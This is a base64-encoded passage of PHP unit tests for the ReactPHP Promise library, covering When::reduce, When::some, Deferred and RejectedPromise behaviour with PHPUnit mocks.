24gc2hvdWxkUmVkdWNlVmFsdWVzV2l0aEluaXRpYWxWYWx1ZSgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oNykpOwoKICAgICAgICBXaGVuOjpyZWR1Y2UoCiAgICAgICAgICAgIGFycmF5KDEsIDIsIDMpLAogICAgICAgICAgICAkdGhpcy0+cGx1cygpLAogICAgICAgICAgICAxCiAgICAgICAgKS0+dGhlbigkbW9jayk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVkdWNlVmFsdWVzV2l0aEluaXRpYWxQcm9taXNlKCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbyg3KSk7CgogICAgICAgIFdoZW46OnJlZHVjZSgKICAgICAgICAgICAgYXJyYXkoMSwgMiwgMyksCiAgICAgICAgICAgICR0aGlzLT5wbHVzKCksCiAgICAgICAgICAgIFdoZW46OnJlc29sdmUoMSkKICAgICAgICApLT50aGVuKCRtb2NrKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZWR1Y2VQcm9taXNlZFZhbHVlc1dpdGhvdXRJbml0aWFsVmFsdWUoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDYpKTsKCiAgICAgICAgV2hlbjo6cmVkdWNlKAogICAgICAgICAgICBhcnJheShXaGVuOjpyZXNvbHZlKDEpLCBXaGVuOjpyZXNvbHZlKDIpLCBXaGVuOjpyZXNvbHZlKDMpKSwKICAgICAgICAgICAgJHRoaXMtPnBsdXMoKQogICAgICAgICktPnRoZW4oJG1vY2spOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlZHVjZVByb21pc2VkVmFsdWVzV2l0aEluaXRpYWxWYWx1ZSgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oNykpOwoKICAgICAgICBXaGVuOjpyZWR1Y2UoCiAgICAgICAgICAgIGFycmF5KFdoZW46OnJlc29sdmUoMSksIFdoZW46OnJlc29sdmUoMiksIFdoZW46OnJlc29sdmUoMykpLAogICAgICAgICAgICAkdGhpcy0+cGx1cygpLAogICAgICAgICAgICAxCiAgICAgICAgKS0+dGhlbigkbW9jayk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVkdWNlUHJvbWlzZWRWYWx1ZXNXaXRoSW5pdGlhbFByb21pc2UoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDcpKTsKCiAgICAgICAgV2hlbjo6cmVkdWNlKAogICAgICAgICAgICBhcnJheShXaGVuOjpyZXNvbHZlKDEpLCBXaGVuOjpyZXNvbHZlKDIpLCBXaGVuOjpyZXNvbHZlKDMpKSwKICAgICAgICAgICAgJHRoaXMtPnBsdXMoKSwKICAgICAgICAgICAgV2hlbjo6cmVzb2x2ZSgxKQogICAgICAgICktPnRoZW4oJG1vY2spOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlZHVjZUVtcHR5SW5wdXRXaXRoSW5pdGlhbFZhbHVlKCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygxKSk7CgogICAgICAgIFdoZW46OnJlZHVjZSgKICAgICAgICAgICAgYXJyYXkoKSwKICAgICAgICAgICAgJHRoaXMtPnBsdXMoKSwKICAgICAgICAgICAgMQogICAgICAgICktPnRoZW4oJG1vY2spOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlZHVjZUVtcHR5SW5wdXRXaXRoSW5pdGlhbFByb21pc2UoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDEpKTsKCiAgICAgICAgV2hlbjo6cmVkdWNlKAogICAgICAgICAgICBhcnJheSgpLAogICAgICAgICAgICAkdGhpcy0+cGx1cygpLAogICAgICAgICAgICBXaGVuOjpyZXNvbHZlKDEpCiAgICAgICAgKS0+dGhlbigkbW9jayk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVqZWN0V2hlbklucHV0Q29udGFpbnNSZWplY3Rpb24oKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDIpKTsKCiAgICAgICAgV2hlbjo6cmVkdWNlKAogICAgICAgICAgICBhcnJheShXaGVuOjpyZXNvbHZlKDEpLCBXaGVuOjpyZWplY3QoMiksIFdoZW46OnJlc29sdmUoMykpLAogICAgICAgICAgICAkdGhpcy0+cGx1cygpLAogICAgICAgICAgICBXaGVuOjpyZXNvbHZlKDEpCiAgICAgICAgKS0+dGhlbigkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLCAkbW9jayk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVzb2x2ZVdpdGhOdWxsV2hlbklucHV0SXNFbXB0eUFuZE5vSW5pdGlhbFZhbHVlT3JQcm9taXNlUHJvdmlkZWQoKQogICAgewogICAgICAgIC8vIE5vdGU6IHRoaXMgaXMgZGlmZmVyZW50IGZyb20gd2hlbi5qcydzIGJlaGF2aW9yIQogICAgICAgIC8vIEluIHdoZW4ucmVkdWNlKCksIHRoaXMgcmVqZWN0cyB3aXRoIGEgVHlwZUVycm9yIGV4Y2VwdGlvbiAoZm9sbG93aW5nCiAgICAgICAgLy8gSmF2YVNjcmlwdCdzIFtdLnJlZHVjZSBiZWhhdmlvci4KICAgICAgICAvLyBXZSdyZSBmb2xsb3dpbmcgUEhQJ3MgYXJyYXlfcmVkdWNlIGJlaGF2aW9yIGFuZCByZXNvbHZlIHdpdGggTlVMTC4KICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbyhudWxsKSk7CgogICAgICAgIFdoZW46OnJlZHVjZSgKICAgICAgICAgICAgYXJyYXkoKSwKICAgICAgICAgICAgJHRoaXMtPnBsdXMoKQogICAgICAgICktPnRoZW4oJG1vY2spOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZEFsbG93U3BhcnNlQXJyYXlJbnB1dFdpdGhvdXRJbml0aWFsVmFsdWUoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDMpKTsKCiAgICAgICAgV2hlbjo6cmVkdWNlKAogICAgICAgICAgICBhcnJheShudWxsLCBudWxsLCAxLCBudWxsLCAxLCAxKSwKICAgICAgICAgICAgJHRoaXMtPnBsdXMoKQogICAgICAgICktPnRoZW4oJG1vY2spOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZEFsbG93U3BhcnNlQXJyYXlJbnB1dFdpdGhJbml0aWFsVmFsdWUoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDQpKTsKCiAgICAgICAgV2hlbjo6cmVkdWNlKAogICAgICAgICAgICBhcnJheShudWxsLCBudWxsLCAxLCBudWxsLCAxLCAxKSwKICAgICAgICAgICAgJHRoaXMtPnBsdXMoKSwKICAgICAgICAgICAgMQogICAgICAgICktPnRoZW4oJG1vY2spOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlZHVjZUluSW5wdXRPcmRlcigpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oJzEyMycpKTsKCiAgICAgICAgV2hlbjo6cmVkdWNlKAogICAgICAgICAgICBhcnJheSgxLCAyLCAzKSwKICAgICAgICAgICAgJHRoaXMtPmFwcGVuZCgpLAogICAgICAgICAgICAnJwogICAgICAgICktPnRoZW4oJG1vY2spOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZEFjY2VwdEFQcm9taXNlRm9yQW5BcnJheSgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oJzEyMycpKTsKCiAgICAgICAgV2hlbjo6cmVkdWNlKAogICAgICAgICAgICBXaGVuOjpyZXNvbHZlKGFycmF5KDEsIDIsIDMpKSwKICAgICAgICAgICAgJHRoaXMtPmFwcGVuZCgpLAogICAgICAgICAgICAnJwogICAgICAgICktPnRoZW4oJG1vY2spOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlc29sdmVUb0luaXRpYWxWYWx1ZVdoZW5JbnB1dFByb21pc2VEb2VzTm90UmVzb2x2ZVRvQW5BcnJheSgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oMSkpOwoKICAgICAgICBXaGVuOjpyZWR1Y2UoCiAgICAgICAgICAgIFdoZW46OnJlc29sdmUoMSksCiAgICAgICAgICAgICR0aGlzLT5wbHVzKCksCiAgICAgICAgICAgIDEKICAgICAgICApLT50aGVuKCRtb2NrKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRQcm92aWRlQ29ycmVjdEJhc2lzVmFsdWUoKQogICAgewogICAgICAgICRpbnNlcnRJbnRvQXJyYXkgPSBmdW5jdGlvbiAoJGFyciwgJHZhbCwgJGkpIHsKICAgICAgICAgICAgJGFyclskaV0gPSAkdmFsOwoKICAgICAgICAgICAgcmV0dXJuICRhcnI7CiAgICAgICAgfTsKCiAgICAgICAgJGQxID0gbmV3IERlZmVycmVkKCk7CiAgICAgICAgJGQyID0gbmV3IERlZmVycmVkKCk7CiAgICAgICAgJGQzID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKGFycmF5KDEsIDIsIDMpKSk7CgogICAgICAgIFdoZW46OnJlZHVjZSgKICAgICAgICAgICAgYXJyYXkoJGQxLT5wcm9taXNlKCksICRkMi0+cHJvbWlzZSgpLCAkZDMtPnByb21pc2UoKSksCiAgICAgICAgICAgICRpbnNlcnRJbnRvQXJyYXksCiAgICAgICAgICAgIGFycmF5KCkKICAgICAgICApLT50aGVuKCRtb2NrKTsKCiAgICAgICAgJGQzLT5yZXNvbHZlKDMpOwogICAgICAgICRkMS0+cmVzb2x2ZSgxKTsKICAgICAgICAkZDItPnJlc29sdmUoMik7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxQcm9taXNlOwoKLyoqCiAqIEBncm91cCBXaGVuCiAqIEBncm91cCBXaGVuU29tZQogKi8KY2xhc3MgV2hlblNvbWVUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVzb2x2ZUVtcHR5SW5wdXQoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKGFycmF5KCkpKTsKCiAgICAgICAgV2hlbjo6c29tZShhcnJheSgpLCAxLCAkbW9jayk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVzb2x2ZVZhbHVlc0FycmF5KCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbyhhcnJheSgxLCAyKSkpOwoKICAgICAgICBXaGVuOjpzb21lKAogICAgICAgICAgICBhcnJheSgxLCAyLCAzKSwKICAgICAgICAgICAgMiwKICAgICAgICAgICAgJG1vY2sKICAgICAgICApOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlc29sdmVQcm9taXNlc0FycmF5KCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbyhhcnJheSgxLCAyKSkpOwoKICAgICAgICBXaGVuOjpzb21lKAogICAgICAgICAgICBhcnJheShXaGVuOjpyZXNvbHZlKDEpLCBXaGVuOjpyZXNvbHZlKDIpLCBXaGVuOjpyZXNvbHZlKDMpKSwKICAgICAgICAgICAgMiwKICAgICAgICAgICAgJG1vY2sKICAgICAgICApOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlc29sdmVTcGFyc2VBcnJheUlucHV0KCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbyhhcnJheShudWxsLCAxKSkpOwoKICAgICAgICBXaGVuOjpzb21lKAogICAgICAgICAgICBhcnJheShudWxsLCAxLCBudWxsLCAyLCAzKSwKICAgICAgICAgICAgMiwKICAgICAgICAgICAgJG1vY2sKICAgICAgICApOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlamVjdElmQW55SW5wdXRQcm9taXNlUmVqZWN0c0JlZm9yZURlc2lyZWROdW1iZXJPZklucHV0c0FyZVJlc29sdmVkKCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbyhhcnJheSgxID0+IDIsIDIgPT4gMykpKTsKCiAgICAgICAgV2hlbjo6c29tZSgKICAgICAgICAgICAgYXJyYXkoV2hlbjo6cmVzb2x2ZSgxKSwgV2hlbjo6cmVqZWN0KDIpLCBXaGVuOjpyZWplY3QoMykpLAogICAgICAgICAgICAyLAogICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAkbW9jawogICAgICAgICk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkQWNjZXB0QVByb21pc2VGb3JBbkFycmF5KCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbyhhcnJheSgxLCAyKSkpOwoKICAgICAgICBXaGVuOjpzb21lKAogICAgICAgICAgICBXaGVuOjpyZXNvbHZlKGFycmF5KDEsIDIsIDMpKSwKICAgICAgICAgICAgMiwKICAgICAgICAgICAgJG1vY2sKICAgICAgICApOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlc29sdmVUb0VtcHR5QXJyYXlXaGVuSW5wdXRQcm9taXNlRG9lc05vdFJlc29sdmVUb0FycmF5KCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbyhhcnJheSgpKSk7CgogICAgICAgIFdoZW46OnNvbWUoCiAgICAgICAgICAgIFdoZW46OnJlc29sdmUoMSksCiAgICAgICAgICAgIDEsCiAgICAgICAgICAgICRtb2NrCiAgICAgICAgKTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2U7CgovKioKICogQGdyb3VwIERlZmVycmVkCiAqLwpjbGFzcyBEZWZlcnJlZFRlc3QgZXh0ZW5kcyBUZXN0Q2FzZQp7CiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZXR1cm5BUHJvbWlzZUZvclBhc3NlZEluUmVzb2x1dGlvblZhbHVlV2hlbkFscmVhZHlSZXNvbHZlZCgpCiAgICB7CiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKICAgICAgICAkZC0+cmVzb2x2ZSgxKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oMikpOwoKICAgICAgICAkZC0+cmVzb2x2ZSgyKS0+dGhlbigkbW9jayk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmV0dXJuQVByb21pc2VGb3JQYXNzZWRJblJlamVjdGlvblZhbHVlV2hlbkFscmVhZHlSZXNvbHZlZCgpCiAgICB7CiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKICAgICAgICAkZC0+cmVzb2x2ZSgxKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oMikpOwoKICAgICAgICAkZC0+cmVqZWN0KDIpLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksICRtb2NrKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZXR1cm5TaWxlbnRseU9uUHJvZ3Jlc3NXaGVuQWxyZWFkeVJlc29sdmVkKCkKICAgIHsKICAgICAgICAkZCA9IG5ldyBEZWZlcnJlZCgpOwogICAgICAgICRkLT5yZXNvbHZlKDEpOwoKICAgICAgICAkdGhpcy0+YXNzZXJ0TnVsbCgkZC0+cHJvZ3Jlc3MoKSk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmV0dXJuQVByb21pc2VGb3JQYXNzZWRJblJlc29sdXRpb25WYWx1ZVdoZW5BbHJlYWR5UmVqZWN0ZWQoKQogICAgewogICAgICAgICRkID0gbmV3IERlZmVycmVkKCk7CiAgICAgICAgJGQtPnJlamVjdCgxKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oMikpOwoKICAgICAgICAkZC0+cmVzb2x2ZSgyKS0+dGhlbigkbW9jayk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmV0dXJuQVByb21pc2VGb3JQYXNzZWRJblJlamVjdGlvblZhbHVlV2hlbkFscmVhZHlSZWplY3RlZCgpCiAgICB7CiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKICAgICAgICAkZC0+cmVqZWN0KDEpOwoKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygyKSk7CgogICAgICAgICRkLT5yZWplY3QoMiktPnRoZW4oJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwgJG1vY2spOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJldHVyblNpbGVudGx5T25Qcm9ncmVzc1doZW5BbHJlYWR5UmVqZWN0ZWQoKQogICAgewogICAgICAgICRkID0gbmV3IERlZmVycmVkKCk7CiAgICAgICAgJGQtPnJlamVjdCgxKTsKCiAgICAgICAgJHRoaXMtPmFzc2VydE51bGwoJGQtPnByb2dyZXNzKCkpOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcUHJvbWlzZTsKCi8qKgogKiBAZ3JvdXAgUHJvbWlzZQogKiBAZ3JvdXAgUmVqZWN0ZWRQcm9taXNlCiAqLwpjbGFzcyBSZWplY3RlZFByb21pc2VUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmV0dXJuQVByb21pc2UoKQogICAgewogICAgICAgICRwID0gbmV3IFJlamVjdGVkUHJvbWlzZSgpOwogICAgICAgICR0aGlzLT5hc3NlcnRJbnN0YW5jZU9mKCdSZWFjdFxcUHJvbWlzZVxcUHJvbWlzZUludGVyZmFjZScsICRwLT50aGVuKCkpOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJldHVybkFsbG93TnVsbCgpCiAgICB7CiAgICAgICAgJHAgPSBuZXcgUmVqZWN0ZWRQcm9taXNlKCk7CiAgICAgICAgJHRoaXMtPmFzc2VydEluc3RhbmNlT2YoJ1JlYWN0XFxQcm9taXNlXFxQcm9taXNlSW50ZXJmYWNlJywgJHAtPnRoZW4obnVsbCwgbnVsbCwgbnVsbCkpOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZEZvcndhcmRVbmRlZmluZWRSZWplY3Rpb25WYWx1ZSgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aChudWxsKTsKCiAgICAgICAgJHAgPSBuZXcgUmVqZWN0ZWRQcm9taXNlKDEpOwogICAgICAgICRwCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgICAgICAgICAgLy8gUHJlc2VuY2Ugb2YgcmVqZWN0aW9uIGhhbmRsZXIgaXMgZW5vdWdoIHRvIHN3aXRjaCBiYWNrCiAgICAgICAgICAgICAgICAgICAgLy8gdG8gcmVzb2x2ZSBtb2RlLCBldmVuIHRob3VnaCBpdCByZXR1cm5zIHVuZGV